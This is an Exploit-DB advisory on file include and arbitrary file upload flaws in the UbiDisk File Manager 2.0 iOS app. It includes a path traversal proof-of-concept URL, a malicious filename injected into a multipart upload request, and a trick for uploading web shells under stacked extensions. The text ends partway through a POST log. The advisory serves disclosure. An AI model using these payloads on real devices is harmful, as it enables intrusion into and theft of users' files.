Exploit-DB #28977
Description: UbiDisk File Manager 2.0 iOS - Multiple Web Vulnerabilities
Type: webapps
Platform: ios
Date: 2013-10-15
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
UbiDisk File Manager v2.0 iOS - Multiple Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1109


Release Date:
=============
2013-10-15


Vulnerability Laboratory ID (VL-ID):
====================================
1109


Common Vulnerability Scoring System:
====================================
8.8


Product & Service Introduction:
===============================
In version 2.0 we proudly introduce a very handy file transfer method named EasyPush. EasyPush is the easiest 
way so far to exchange files and texts among iPhone, iPad and PC. You can send one or more files to other 
devices by just a few taps; or drag-drop any files and folders on PC to iPhone and iPad. It’s never been so 
easy like this to transfer files on your devices.

(Copy of the Homepage: https://itunes.apple.com/de/app/ubidisk-file-manager-+-downloader/id453027265 )



Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the UbiDisk File Manager v2.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2013-10-12:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Apple AppStore
Product: UbiDisk Mobile Web Application 2.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
1.1
A local file/path include web vulnerability is detected in the UbiDisk File Manager v2.0 mobile web-application (Apple iOS - iPad & iPhone).
The file include vulnerability allows remote attackers to include (upload) local file or path requests to compromise the application or service.

The remote file include web vulnerability is located in the upload module in the file name value. Attacker can inject own file or path requests 
by adding regular files. The injected code will be visible in the main index file dir listing and the connected upload path. In the exploitation 
phase the vulnerability allows an attacker to combine with script code inject with the file/path request.

Exploitation of the local file include web vulnerability requires no user interaction or privileged application user account with password. 
Successful exploitation of the vulnerability results in unauthorized local file and path requests to compromise the device or application.


Vulnerable Application(s):
				[+] UbiDisk File Manager v2.0 - ITunes or AppStore (Apple)

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload [POST]

Vulnerable Parameter(s):
				[+] filename (name)

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:5080/)



1.2
An arbitrary file upload web vulnerability is detected in the UbiDisk File Manager v2.0 mobile web-application (Apple iOS - iPad & iPhone).
The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access.

The vulnerability is located in the upload module when processing to upload files with multiple ending extensions. Attackers are able to upload 
a php or js web-shells by renaming the file with multiple extensions. The attacker uploads for example a web-shell with the following name and 
extension image.jpg.js.php.jpg . After the upload the attacker needs to open the file in the web application to delete the .jpg file extension 
and access the picture with elevated execution access rights.

Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.

Vulnerable Application(s):
				[+] UbiDisk File Manager v2.0 - ITunes or AppStore (Apple)

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] File Upload

Vulnerable Parameter(s):
				[+] filename (multiple extensions)

Affected Module(s):
				[+] File Path Listing (http://localhost:5080/Local/../[FILE PATH]/FILE_NAME)


Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by by remote attackers without privileged application user account and 
also without user interaction. For demonstration or reproduce ...

PoC:
http://localhost:5080/Local/../../<[var]/mobile>


PoC: File Name - Index Dir Listing

<table><caption>Files at /Local/</caption><thead><tr><th scope="col"></th><th scope="col">Name</th><th scope="col">Size</th>
<th scope="col">Modified</th></tr></thead><tbody><tr><td class="fileicon"><img src="/WebGears/icon_folder.png"></td>
<td><a href="..">..</a></td><td>--</td><td>--</td></tr><tr class="odd"><td class="fileicon"><img src="/WebGears/icon_other.png" 
height="43" width="43"></td><td><a href="<../../[LOCAL FILE INCLUDE VULNERABILITY!]"></a></td>


--- PoC Session Logs (POST) ---

Status: 200[OK]
POST http://192.168.2.104:5080/Local/ 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[1732] 
Mime Type[text/html]
   
Request Headers:
Host[192.168.2.104:5080]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Referer[http://192.168.2.104:5080/Local/]
Connection[keep-alive]
   
Post Data:
POST_DATA[----------------------------[PII_REDACTED]15722
Content-Disposition: form-data; name="file"; filename="<<../../[LOCAL FILE INCLUDE VULNERABILITY!]">"
Content-Type: application/octet-stream
-----------